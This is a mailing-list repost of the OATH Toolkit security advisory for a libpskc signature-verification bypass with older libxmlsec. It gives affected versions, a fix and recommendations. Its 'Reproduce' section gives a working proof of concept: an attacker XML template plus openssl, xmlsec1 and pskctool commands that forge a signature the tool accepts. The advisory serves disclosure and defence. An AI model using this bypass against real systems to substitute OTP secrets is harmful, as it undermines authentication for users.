FYI - also via https://oath-toolkit.codeberg.page/CVE-2026-109117.html

/Simon

Simon Josefsson via OATH Toolkit general discussions
<[email protected]> writes:

> OATH Toolkit PSKC Signature Verification bypass in libpskc (CVE-2026-109117)
> ----------------------------------------------------------------------------
>
> Security Vulnerability
> ----------------------
>
> OATH Toolkit provides a library for handling PSKC data called
> 'libpskc', and a command-line tool 'pskctool' that uses libpskc.
>
> PSKC is a XML data format defined in RFC 6030 that can be used to
> transport OATH HOTP/TOTP HMAC-SHA symmetric secret keys.  Libpskc
> relies on the XML Security Library (libxmlsec) for cryptographic
> signature verification of the PSKC data.
>
> The RFC 6030 specification section 7 available from
> https://datatracker.ietf.org/doc/html/rfc6030#section-7 is not clear
> what the purpose and goal of adding a Digital Signature on PSKC data
> is, nor what the threat model is.  It could be argued that rather than
> authenticating the data for trust purposes, the goal of a PSKC
> signature could be to provide integrity protection of the content and
> a data origin identification.
>
> The libxmlsec library before v1.3.3 allowed the XML data to provide a
> key that will be used to verify the signature, instead of the key
> provided by the library/application.  Version 1.3.3 of libxmlsec
> changed so that it no longer trusts the key data inside the XML data
> by default.
>
> PSKC data is rarely encrypted (and OATH Toolkit do not support PSKC
> encryption), therefore deployments require some outer protection of
> the PSKC data to protect the OATH HOTP/TOTP secrets from leaking
> during transport.  SSH and HTTPS are typical transport protocols used
> for this, although offline physical transports (e.g., USB memory
> devices) is common from production facilities.
>
> However, if an attacker is able to circumvent the outer transport
> protection and substitute their own PSKC data to a system that relies
> on PSKC Signature Verification before trusting the incoming PSKC data,
> the attacker would be able to substitute their own OATH HOTP/TOTP
> secrets or otherwise cause the system to process the incoming PSKC
> data as trustworthy.
>
> The problem only occurs when OATH Toolkit's libpskc is linked to
> libxmlsec older than 1.3.3, which was released on 2024-01-04.  The
> release notes for libxmlsec says:
>
>     (xmlsec-core) Disabled KeyValue and DEREncodedKeyValue XML nodes
>     by default. Use the '--enabled-key-data' option for the xmlsec
>     command line utility or update the 'keyInfoCtx.enabledKeyData'
>     parameter if you need to re-enable these nodes (also see question
>     3.5 in the FAQ).
>
> The FAQ at https://www.aleksey.com/xmlsec/faq.html state that the old
> the behaviour is **INSECURE AND NOT RECOMMENDED**.  Therefore we
> consider the underlying cause to be a libxmlsec security problem,
> which ought to have been patched and deployed earlier.
>
> We encourage further research into other applications using libxmlsec
> that may be similarly affected.  An earlier report from 2013 exists:
> https://www.aleksey.com/pipermail/xmlsec/2013/009717.html
>
> Many distributions and deployments still uses libxmlsec 1.2.x
> including Debian 12 (1.2.37), Debian 13 (1.2.41), Ubuntu 22.04
> (1.2.33), Ubuntu 24.04 (1.2.39) and RHEL 9 (1.2.33).
>
> We are not aware of any active exploits in the wild of this flaw, and
> because of the outer protection required for PSKC data we do not know
> of, or can conceive, any realistic scenario where this problem could
> be exploited.
>
> We acknowledge that this may be considered a problem in OATH Toolkit,
> and publish this advisory and a set of patches that prevents the
> problem from occurring when libpskc is used with older libxmlsec.
>
> Severity: low.  Likely no practical implications.
>
> Affected versions and configurations
> ------------------------------------
>
> Support for sign/verify of PSKC data was introduced in version 2.0.1
> released on 2012-10-24 and not fixed up to and including 2.6.14
> released on 2026-01-27.  Version 2.6.15 released on 2026-10-13
> prevents the problem.
>
> Reproduce
> ---------
>
> First create a baseline, with a sample PSKC file.
>
>   cat<<EOF>pskc.xml
>   <?xml version="1.0" encoding="UTF-8"?>
>   <KeyContainer Version="1.0" xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
>     <KeyPackage>
>       <DeviceInfo>
>         <Manufacturer>Manufacturer</Manufacturer>
>         <SerialNo>987654321</SerialNo>
>       </DeviceInfo>
>       <Key Id="12345678"
>            Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
>         <AlgorithmParameters>
>           <ResponseFormat Length="8" Encoding="DECIMAL"/>
>         </AlgorithmParameters>
>         <Data>
>           <Secret>
>             <PlainValue>MTIzNDU2Nzg5MDEyMzQ1Njc4OTA=
>             </PlainValue>
>           </Secret>
>           <Counter>
>             <PlainValue>0</PlainValue>
>           </Counter>
>         </Data>
>       </Key>
>     </KeyPackage>
>   </KeyContainer>
>   EOF
>
> Create a new trusted key and cert:
>
>   openssl req -x509 -newkey rsa:2048 -nodes -keyout trusted.key -out 
> trusted.crt -days 3650 -subj "/CN=Trusted PSKC Signer"
>
> Sign the PSKC data:
>
>   pskctool --sign --sign-key trusted.key --sign-crt trusted.crt pskc.xml > 
> signed-legit.xml
>
> Confirm verification works fine:
>
>   pskctool --verify --verify-crt trusted.crt signed-legit.xml
>   OK
>
> Now simulate an attacker that uses a XML template like this:
>
>   cat<<EOF>attack-template.xml
>   <?xml version="1.0" encoding="UTF-8"?>
>     <KeyContainer Version="1.0" Id="KC0001" 
> xmlns="urn:ietf:params:xml:ns:keyprov:pskc">
>      <KeyPackage>
>       <Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp">
>        <Issuer>Attacker</Issuer>
>        <Data>
>         <Secret>
>          <PlainValue>QUJDREVGR0gK</PlainValue>
>         </Secret>
>        </Data>
>       </Key>
>      </KeyPackage>
>      <Signature xmlns="http://www.w3.org/2000/09/xmldsig#";>
>       <SignedInfo>
>        <CanonicalizationMethod 
> Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
>        <SignatureMethod 
> Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
>        <Reference URI="">
>         <Transforms>
>          <Transform 
> Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
>         </Transforms>
>         <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
>         <DigestValue/>
>        </Reference>
>       </SignedInfo>
>       <SignatureValue/>
>       <KeyInfo>
>        <KeyValue/>
>       </KeyInfo>
>      </Signature>
>     </KeyContainer>
>   EOF
>
> Create an attacker-controlled private key/cert and sign the PSKC data:
>
>   openssl req -x509 -newkey rsa:2048 -nodes -keyout attacker.key -out 
> attacker.crt -days 3650 -subj "/CN=Attacker"
>   xmlsec1 --sign --privkey-pem attacker.key --output attack-signed.xml 
> attack-template.xml
>
> Now witness that pskctool says it is properly signed:
>
>   pskctool --verify --verify-crt trusted.crt attack-signed.xml
>   OK
>
> If accepted by some processing entity, it would now trust the data and
> could rely on the OATH secret embedded in the file.
>
> Recommendation
> --------------
>
> We recommend you to review your outer PSKC data transport protection
> to confirm it provides authenticity, integrity and confidentiality of
> your data before it reaches libpskc/pskctool.
>
> As an additional precaution (if the outer protection fails), we
> recommend you to upgrade to OATH Toolkit 2.6.15 (or later) and/or
> upgrade libxmlsec to 1.3.3 (or later).  If upgrading is unpractical we
> recommended you to apply the relevant patches on the versions you use.
>
> Solution
> --------
>
> The patch we use is to restrict KeyValue to X509Data only:
>
> https://codeberg.org/oath-toolkit/oath-toolkit/commit/5000be81a938a3bc01fb1a4636e89c19588ce7fb
>
> History
> -------
>
> Report by private e-mail from info <[email protected]> on 2026-10-11.
> Correspondence about a proof-of-concept that lead to confirming the
> issue on 2026-10-12.  CVE assigned by GitLab on 2026-10-12.  Version
> 2.6.15 release on 2026-10-13.
>
> Credits
> -------
>
> Report by info <[email protected]>, advisory and patch by Simon Josefsson.
>

Attachment: signature.asc
Description: PGP signature

Reply via email to